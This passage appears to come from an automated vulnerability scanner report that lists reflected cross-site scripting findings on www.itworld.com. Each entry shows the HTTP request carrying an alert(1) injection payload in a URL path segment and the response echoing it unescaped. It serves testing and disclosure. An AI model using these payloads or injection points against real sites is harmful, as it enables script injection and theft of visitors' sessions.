The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 89e33"-alert(1)-"5c7ec3bde2b was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/themes/itworld/js89e33"-alert(1)-"5c7ec3bde2b/ifoldie.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:10 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460310"
Content-Type: text/html; charset=utf-8
Content-Length: 57350
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:21 GMT
X-Varnish: 1038159866
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/themes/itworld/js89e33"-alert(1)-"5c7ec3bde2b/ifoldie.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVa
...[SNIP]...

1.483. http://www.itworld.com/sites/all/themes/itworld/js/ifoldie.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/ifoldie.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4db75"-alert(1)-"6d944beeee3 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/themes/itworld/js/ifoldie.js4db75"-alert(1)-"6d944beeee3?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:06 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460366"
Content-Type: text/html; charset=utf-8
Content-Length: 57350
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:07 GMT
X-Varnish: 1038161614
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/themes/itworld/js/ifoldie.js4db75"-alert(1)-"6d944beeee3";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.484. http://www.itworld.com/sites/all/themes/itworld/js/ifoldie.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/ifoldie.js

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ac39c"><script>alert(1)</script>822e7f6ac36 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes/itworld/js/ifoldie.jsac39c"><script>alert(1)</script>822e7f6ac36?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:54 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460354"
Content-Type: text/html; charset=utf-8
Content-Length: 57572
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:02 GMT
X-Varnish: 1038161319
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/themes/itworld/js/ifoldie.jsac39c"><script>alert(1)</script>822e7f6ac36?h"/>
...[SNIP]...

1.485. http://www.itworld.com/sites/all/themes/itworld/js/inlineFieldLabel.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/inlineFieldLabel.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 220ca"-alert(1)-"22e13b5d9b6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites220ca"-alert(1)-"22e13b5d9b6/all/themes/itworld/js/inlineFieldLabel.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:21:11 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460071"
Content-Type: text/html; charset=utf-8
Content-Length: 57435
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:21:16 GMT
X-Varnish: 398322526
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=39a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites220ca"-alert(1)-"22e13b5d9b6/all/themes/itworld/js/inlineFieldLabel.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find
...[SNIP]...

1.486. http://www.itworld.com/sites/all/themes/itworld/js/inlineFieldLabel.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/inlineFieldLabel.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 86261"><script>alert(1)</script>675d92d4fe1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites86261"><script>alert(1)</script>675d92d4fe1/all/themes/itworld/js/inlineFieldLabel.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:20:50 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460050"
Content-Type: text/html; charset=utf-8
Content-Length: 57656
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:20:54 GMT
X-Varnish: 1959723994
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites86261"><script>alert(1)</script>675d92d4fe1/all/themes/itworld/js/inlineFieldLabel.js?h"/>
...[SNIP]...

1.487. http://www.itworld.com/sites/all/themes/itworld/js/inlineFieldLabel.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/inlineFieldLabel.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c47e9"><script>alert(1)</script>48dc7e4539b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themesc47e9"><script>alert(1)</script>48dc7e4539b/itworld/js/inlineFieldLabel.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:26 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460146"
Content-Type: text/html; charset=utf-8
Content-Length: 57656
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:36 GMT
X-Varnish: 252446273
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/themesc47e9"><script>alert(1)</script>48dc7e4539b/itworld/js/inlineFieldLabel.js?h"/>
...[SNIP]...

1.488. http://www.itworld.com/sites/all/themes/itworld/js/inlineFieldLabel.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/inlineFieldLabel.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 36c2b"-alert(1)-"a8a019c6039 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/themes36c2b"-alert(1)-"a8a019c6039/itworld/js/inlineFieldLabel.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:09 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460189"
Content-Type: text/html; charset=utf-8
Content-Length: 57442
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:13 GMT
X-Varnish: 252446974
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
MS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/themes36c2b"-alert(1)-"a8a019c6039/itworld/js/inlineFieldLabel.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page yo
...[SNIP]...

1.489. http://www.itworld.com/sites/all/themes/itworld/js/inlineFieldLabel.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/inlineFieldLabel.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload baf48"-alert(1)-"f33c852aec8 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/themes/itworldbaf48"-alert(1)-"f33c852aec8/js/inlineFieldLabel.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:48 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460228"
Content-Type: text/html; charset=utf-8
Content-Length: 57442
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:50 GMT
X-Varnish: 252448082
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
rop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/themes/itworldbaf48"-alert(1)-"f33c852aec8/js/inlineFieldLabel.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you reques
...[SNIP]...

1.490. http://www.itworld.com/sites/all/themes/itworld/js/inlineFieldLabel.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/inlineFieldLabel.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 177bd"><script>alert(1)</script>0947363aa14 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes/itworld177bd"><script>alert(1)</script>0947363aa14/js/inlineFieldLabel.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:34 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460214"
Content-Type: text/html; charset=utf-8
Content-Length: 57662
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:36 GMT
X-Varnish: 252447463
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/themes/itworld177bd"><script>alert(1)</script>0947363aa14/js/inlineFieldLabel.js?h"/>
...[SNIP]...

1.491. http://www.itworld.com/sites/all/themes/itworld/js/inlineFieldLabel.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/inlineFieldLabel.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 638a5"><script>alert(1)</script>1c56c708dc1 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes/itworld/js638a5"><script>alert(1)</script>1c56c708dc1/inlineFieldLabel.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:24:00 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460240"
Content-Type: text/html; charset=utf-8
Content-Length: 57661
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:24:05 GMT
X-Varnish: 252448486
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/themes/itworld/js638a5"><script>alert(1)</script>1c56c708dc1/inlineFieldLabel.js?h"/>
...[SNIP]...

1.492. http://www.itworld.com/sites/all/themes/itworld/js/inlineFieldLabel.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/inlineFieldLabel.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 36d7d"-alert(1)-"7d5cc9a8eee was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/themes/itworld/js36d7d"-alert(1)-"7d5cc9a8eee/inlineFieldLabel.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:24:25 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460265"
Content-Type: text/html; charset=utf-8
Content-Length: 57442
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:24:29 GMT
X-Varnish: 1038158398
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/themes/itworld/js36d7d"-alert(1)-"7d5cc9a8eee/inlineFieldLabel.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested
...[SNIP]...

1.493. http://www.itworld.com/sites/all/themes/itworld/js/inlineFieldLabel.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/inlineFieldLabel.js

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b6ad7"><script>alert(1)</script>41c0b85b9bc was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes/itworld/js/inlineFieldLabel.jsb6ad7"><script>alert(1)</script>41c0b85b9bc?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:24 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460324"
Content-Type: text/html; charset=utf-8
Content-Length: 57662
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:26 GMT
X-Varnish: 1038160334
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/themes/itworld/js/inlineFieldLabel.jsb6ad7"><script>alert(1)</script>41c0b85b9bc?h"/>
...[SNIP]...

1.494. http://www.itworld.com/sites/all/themes/itworld/js/inlineFieldLabel.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/inlineFieldLabel.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7bb7d"-alert(1)-"414bddd1f09 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/themes/itworld/js/inlineFieldLabel.js7bb7d"-alert(1)-"414bddd1f09?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
